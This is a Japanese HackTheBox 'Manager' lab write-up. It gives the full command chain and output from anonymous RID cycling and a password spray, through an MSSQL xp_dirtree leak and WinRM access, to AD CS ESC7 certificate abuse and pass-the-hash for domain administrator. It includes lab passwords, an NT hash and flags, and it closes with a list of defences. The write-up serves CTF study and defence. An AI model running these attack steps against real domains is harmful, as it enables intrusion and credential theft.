HackTheBox: Manager — 全実行コマンド・実行結果レポート
Nmap スキャン
AD / MSSQL / WinRM
→
AD / MSSQL / WinRM
RID cycling + パスワードスプレー
operator:operator
→
operator:operator
MSSQL xp_dirtree
webroot 古いバックアップ zip 発見
→
webroot 古いバックアップ zip 発見
raven 平文パスワード漏えい
.old-conf.xml
→
.old-conf.xml
WinRM シェル取得
user.txt ✓
→
user.txt ✓
AD CS ESC7 (ManageCa)
SubCA テンプレート強制発行
→
SubCA テンプレート強制発行
PKINIT → NTハッシュ
certipy auth (faketime補正)
→
certipy auth (faketime補正)
Pass-the-Hash
root.txt ✓
root.txt ✓
PHASE 1
偵察 (Reconnaissance)
全 TCP ポートスキャン
BASH
sudo nmap -Pn -p- --min-rate 3000 -oA manager-all 10.129.48.12 sudo nmap -Pn -sC -sV -p53,80,88,135,139,389,445,464,593,636,1433,3268,3269,5985,9389 -oA manager-detail 10.129.48.12
RESULT
PORT STATE SERVICE 53/tcp open domain 80/tcp open http 88/tcp open kerberos-sec 135/tcp open msrpc 139/tcp open netbios-ssn 389/tcp open ldap 445/tcp open microsoft-ds 464/tcp open kpasswd5 593/tcp open http-rpc-epmap 636/tcp open ldapssl 1433/tcp open ms-sql-s Microsoft SQL Server 2019 3268/tcp open globalcatLDAP 3269/tcp open globalcatLDAPssl 5985/tcp open wsman (WinRM) 9389/tcp open adws Host script results: | Domain: manager.htb Host: DC01.manager.htb
🚨
重要発見: Kerberos(88)・LDAP(389/636)・SMB(445) が同居しており
Active Directory ドメインコントローラーと判断できる。加えて
MSSQL(1433) と WinRM(5985) が稼働しており、この2つが後続の侵入経路になる。
hosts ファイルへドメインを登録
BASH
echo '10.129.48.12 manager.htb dc01.manager.htb' | sudo tee -a /etc/hosts
ℹ️
以降の Kerberos 認証 (impacket / certipy) はホスト名解決に依存するため、
IP直打ちではなく必ず FQDN ベースで疎通できる状態にしておく。
PHASE 2
RID cycling とパスワードスプレー
匿名 SMB セッションから RID cycling で全ユーザー列挙
BASH
impacket-lookupsid 'manager.htb/'@10.129.48.12 -no-pass
RESULT
[*] Brute forcing SIDs at 10.129.48.12 [*] StringBinding ncacn_np:10.129.48.12[\pipe\lsarpc] [*] Domain SID is: S-1-5-21-4078382237-1492182817-2568127209 500: MANAGER\Administrator (SidTypeUser) 513: MANAGER\None (SidTypeGroup) ... 1108: MANAGER\zhong (SidTypeUser) 1109: MANAGER\cheng (SidTypeUser) 1110: MANAGER\ryan (SidTypeUser) 1111: MANAGER\raven (SidTypeUser) 1112: MANAGER\jinwoo (SidTypeUser) 1113: MANAGER\chinhae (SidTypeUser) 1114: MANAGER\operator (SidTypeUser)
ℹ️
出力の SID 種別が
SidTypeUser の行だけを抽出してユーザー一覧
(administrator, zhong, cheng, ryan, raven, jinwoo, chinhae, operator) に保存する。
匿名 (null session) の SMB バインドだけで認証情報なしに全ユーザーが列挙できる点が最初の弱点。
username = password の低頻度パスワードスプレー
BASH
nxc smb 10.129.48.12 -d manager.htb -u users.txt -p users.txt --no-bruteforce --continue-on-success
RESULT
SMB 10.129.48.12 445 DC01 [-] manager.htb\zhong:zhong STATUS_LOGON_FAILURE
SMB 10.129.48.12 445 DC01 [-] manager.htb\cheng:cheng STATUS_LOGON_FAILURE
SMB 10.129.48.12 445 DC01 [-] manager.htb\ryan:ryan STATUS_LOGON_FAILURE
SMB 10.129.48.12 445 DC01 [-] manager.htb\raven:raven STATUS_LOGON_FAILURE
SMB 10.129.48.12 445 DC01 [-] manager.htb\jinwoo:jinwoo STATUS_LOGON_FAILURE
SMB 10.129.48.12 445 DC01 [-] manager.htb\chinhae:chinhae STATUS_LOGON_FAILURE
SMB 10.129.48.12 445 DC01 [+] manager.htb\operator:operator
⚠️
実環境ではアカウントロックアウトポリシーを先に確認し、1ユーザーあたり1回きりの
--no-bruteforce 低頻度試行に留める。ここでは列挙済みの各ユーザーに
同名パスワードを1回だけ対応付けて試し、operator:operator が的中した。
PHASE 3
MSSQL xp_dirtree による Web バックアップ漏えい
Windows認証で MSSQL へ接続
BASH
impacket-mssqlclient 'manager.htb/operator:operator@10.129.48.12' -windows-auth
RESULT
[*] Encryption required, switching to TLS [*] ENVCHANGE(DATABASE): Old Value: master, New Value: master [*] INFO(DC01): Line 1: Changed database context to 'master'. [*] INFO(DC01): Line 1: Changed language setting to us_english. [*] ACK: Result: 1 - Microsoft SQL Server (150 7000) [!] Press help for extra shell commands SQL (MANAGER\operator guest@master)>
xp_dirtree で IIS webroot を走査
SQL PROMPT
SQL> xp_dirtree \inetpub\wwwroot
RESULT
subdirectory depth file
about.html 1 1
contact.html 1 1
css 1 0
images 1 0
index.html 1 1
js 1 1
service.html 1 1
website-backup-27-07-23-old.zip 1 1
ℹ️
xp_dirtree の引数は Impacket の対話クライアント上では SQL 文字列の
引用符を付けずに入力する。xp_cmdshell が無効化されていても
xp_dirtree はデフォルトで有効な環境が多く、ファイル列挙用の穴になりうる。
HTTP でバックアップを取得し隠しファイルを調査
BASH
wget http://manager.htb/website-backup-27-07-23-old.zip unzip -a website-backup-27-07-23-old.zip -d manager-backup find manager-backup -type f -maxdepth 3 -print grep -RniE 'password|user|ldap' manager-backup
RESULT (.old-conf.xml)
<user>raven@manager.htb</user> <password>R4v3nBe5tD3veloP3r!123</password>
🚨
重要発見: ZIP を展開しただけでは見落としがちなドットファイル
.old-conf.xml(LDAP接続設定)の中に raven の平文パスワードが
残されていた。通常ファイルだけでなく隠しファイルも必ず確認すること。
PHASE 4
Raven の WinRM ログオンと user.txt 取得
漏えいした資格情報を検証
BASH
nxc winrm 10.129.48.12 -d manager.htb -u raven -p 'R4v3nBe5tD3veloP3r!123'
RESULT
WINRM 10.129.48.12 5985 DC01 [*] Windows Server 2019 Build 17763 (name:DC01) (domain:manager.htb)
WINRM 10.129.48.12 5985 DC01 [+] manager.htb\raven:R4v3nBe5tD3veloP3r!123 (Pwn3d!)
WinRM シェルで user.txt を取得
BASH
evil-winrm -i 10.129.48.12 -u raven -p 'R4v3nBe5tD3veloP3r!123' *Evil-WinRM* PS C:\Users\raven\Documents> type C:\Users\Raven\Desktop\user.txt
RESULT
ec6d3a699e3bf8c66c818252a1a3d042
user.txt — manager.htb\raven
ec6d3a699e3bf8c66c818252a1a3d042
PHASE 5
AD CS ESC7 (ManageCa) による権限昇格
危険な CA 権限を確認
BASH
certipy-ad find -u raven@manager.htb -p 'R4v3nBe5tD3veloP3r!123' \ -dc-ip 10.129.48.12 -stdout -vulnerable
RESULT
Certificate Authorities
0
CA Name : manager-DC01-CA
DNS Name : dc01.manager.htb
Permissions
Owner : MANAGER.HTB\Administrators
Access Rights
Enroll : MANAGER.HTB\Operator, MANAGER.HTB\Authenticated Users, MANAGER.HTB\Raven
ManageCa : MANAGER.HTB\Administrators, ..., MANAGER.HTB\Raven
[!] Vulnerabilities
ESC7 : User has dangerous permissions.
🚨
重大発見:
raven は本来一般ユーザーであるにもかかわらず、
CA の ManageCa(CA管理者相当)権限を誤って付与されている
(ESC7)。CA管理者は自分自身を officer(証明書マネージャー)として
登録し、拒否された証明書要求を強制発行できる。
Raven を officer に追加し SubCA テンプレートを有効化
BASH
certipy-ad ca -u raven@manager.htb -p 'R4v3nBe5tD3veloP3r!123' -dc-ip 10.129.48.12 \ -ca manager-DC01-CA -add-officer raven certipy-ad ca -u raven@manager.htb -p 'R4v3nBe5tD3veloP3r!123' -dc-ip 10.129.48.12 \ -ca manager-DC01-CA -enable-template SubCA
RESULT
[*] Successfully added officer 'Raven' on 'manager-DC01-CA' [*] Successfully enabled 'SubCA' on 'manager-DC01-CA'
ℹ️
SubCA テンプレートは本来 CA 自身が使う特殊テンプレートで、
デフォルトでは一般ユーザーへの enroll 権限が無いため通常は要求が拒否される。
しかし CA 管理者権限があれば、いったん拒否された要求を後から強制的に発行できる。
administrator を騙る証明書要求を作成(拒否されるがID/鍵は保存)
BASH
certipy-ad req -u raven@manager.htb -p 'R4v3nBe5tD3veloP3r!123' \ -dc-ip 10.129.48.12 -ca manager-DC01-CA -template SubCA \ -upn administrator@manager.htb
RESULT
[*] Requesting certificate via RPC [*] Request ID is 21 [-] Got error while requesting certificate: code: 0x80094012 - CERTSRV_E_TEMPLATE_DENIED Would you like to save the private key? (y/N): y [*] Saving private key to '21.key' [*] Wrote private key to '21.key'
⚠️
要求が
CERTSRV_E_TEMPLATE_DENIED で拒否されること自体は想定内である。
ここで必ず y を選び、Request ID と秘密鍵ファイルを保存すること。
ID は実行のたびに変わるので、実際のリクエストIDを後続コマンドに反映する。
officer 権限で要求を強制発行し PFX を取得
BASH
certipy-ad ca -u raven@manager.htb -p 'R4v3nBe5tD3veloP3r!123' -dc-ip 10.129.48.12 \ -ca manager-DC01-CA -issue-request 21 certipy-ad req -u raven@manager.htb -p 'R4v3nBe5tD3veloP3r!123' -dc-ip 10.129.48.12 \ -ca manager-DC01-CA -retrieve 21
RESULT
[*] Successfully issued certificate request ID 21
[*] Retrieving certificate with ID 21
[*] Got certificate with UPN 'administrator@manager.htb'
[*] Loaded private key from '21.key'
[*] Wrote certificate and private key to 'administrator.pfx'
PKINIT で administrator の NT ハッシュを取得
BASH
certipy-ad auth -pfx administrator.pfx -dc-ip 10.129.48.12
RESULT (1回目)
[-] Got error while trying to request TGT: Kerberos SessionError: KRB_AP_ERR_SKEW (Clock skew too great)
BASH (faketime で補正して再試行)
nmap -p445 --script smb2-time 10.129.48.12 # DCとの時刻差を確認 faketime '+7 hours' certipy-ad auth -pfx administrator.pfx -dc-ip 10.129.48.12
RESULT (faketime 適用後)
[*] Using principal: 'administrator@manager.htb'
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'administrator.ccache'
[*] Trying to retrieve NT hash for 'administrator'
[*] NT hash for 'administrator': ae5064c2f62317332c88629e025924ef
ℹ️
検証時は Kali が UTC 10:31、DC が UTC 17:31 で約7時間のずれがあった。
システム時計を恒久的に変更せず、
faketime でこのコマンド実行時だけ
時刻を補正することで Kerberos の許容範囲(既定5分)内に収めた。
PHASE 6
Pass-the-Hash による root.txt 取得
取得した NT ハッシュで WinRM に Administrator として接続
BASH
nxc winrm 10.129.48.12 -d manager.htb -u administrator \ -H ae5064c2f62317332c88629e025924ef \ -x 'type C:\Users\Administrator\Desktop\root.txt'
RESULT
WINRM 10.129.48.12 5985 DC01 [+] manager.htb\administrator:ae5064c2f62317332c88629e025924ef (Pwn3d!) WINRM 10.129.48.12 5985 DC01 [+] Executed command 3881890b4188a30112fa231e56e8b2cd
root.txt — Administrator@manager.htb
3881890b4188a30112fa231e56e8b2cd
✅
攻略完了。 RID cycling → パスワードスプレー → MSSQL 経由の情報漏えい
→ WinRM 侵入 → AD CS ESC7 という一連のチェーンで、匿名アクセスのみから
ドメイン管理者相当の権限まで到達できた。
SUMMARY
攻略サマリー & 教訓
取得フラグ
user.txt — manager.htb\raven
ec6d3a699e3bf8c66c818252a1a3d042
root.txt — Administrator@manager.htb
3881890b4188a30112fa231e56e8b2cd
使用した脆弱性
| 脆弱性 | 対象 | 影響 | 深刻度 | 利用方法 |
|---|---|---|---|---|
| 匿名 SMB RID cycling | Active Directory (445) | 全ドメインユーザー名の漏えい | Medium | null session で impacket-lookupsid を実行し 8 ユーザーを列挙 |
| 弱いパスワードポリシー | operator アカウント | 低権限ドメインアカウントの窃取 | Medium | username=password のパスワードスプレーで operator:operator が的中 |
| MSSQL xp_dirtree 情報漏えい | MSSQL Server 2019 (1433) | IIS webroot 内ファイル一覧の露出 | High | xp_dirtree \inetpub\wwwroot で古いバックアップ zip を発見・特定 |
| 公開領域への機密情報を含むバックアップ放置 | IIS webroot (80) | 平文資格情報の漏えい | High | zip 内の隠しファイル .old-conf.xml から raven の平文パスワードを取得 |
| AD CS ESC7 (ManageCa) | manager-DC01-CA | ドメイン管理者への権限昇格 | Critical | officer 追加 + SubCA テンプレート強制発行で administrator の証明書を取得 |
攻撃チェーン全体の流れ
| # | フェーズ | 技術 | 取得情報 |
|---|---|---|---|
| 1 | 偵察 | nmap 全ポート + バージョンスキャン | AD DC、MSSQL、WinRM 検出、ドメイン manager.htb 特定 |
| 2 | ユーザー列挙 | RID cycling + パスワードスプレー | 8ユーザー列挙、operator:operator |
| 3 | 情報漏えい | MSSQL xp_dirtree + 公開バックアップ zip | raven の平文パスワード |
| 4 | 初期侵入 | WinRM (evil-winrm) ログオン | user.txt 取得 |
| 5 | 権限昇格 | AD CS ESC7 (ManageCa) + faketime PKINIT | administrator の NT ハッシュ |
| 6 | 管理者侵入 | WinRM Pass-the-Hash | root.txt 取得 |
学んだ教訓 & 防御策
| 問題点 | 防御策 |
|---|---|
| 匿名 SMB セッションから RID cycling で全ドメインユーザーが列挙可能 | 匿名/null セッションでの SAMR/LSA 列挙を無効化する (RestrictAnonymous を強化)。 |
| ユーザー名と同じ文字列をパスワードに設定しているアカウントが存在 | パスワードポリシー・辞書チェックを強化し、定期的な社内パスワードスプレー監査を実施する。 |
MSSQL の xp_dirtree が一般アカウントから実行可能で、ファイルシステムの一部を露出 |
不要な拡張ストアドプロシージャを無効化し、SQLサーバーの実行アカウントの最小権限化を徹底する。 |
| 機密情報(平文パスワード)を含む古いバックアップが公開 webroot に放置されていた | バックアップファイルを Web 公開領域に置かない。設定ファイル内の秘密情報は環境変数やシークレット管理サービスへ移行する。 |
一般ユーザーに AD CS CA の ManageCa(CA管理者)権限が誤って付与されていた (ESC7) |
CA の Access Rights を定期的に監査し、ManageCa/ManageCertificates は真に必要な管理者グループのみに限定する。 |

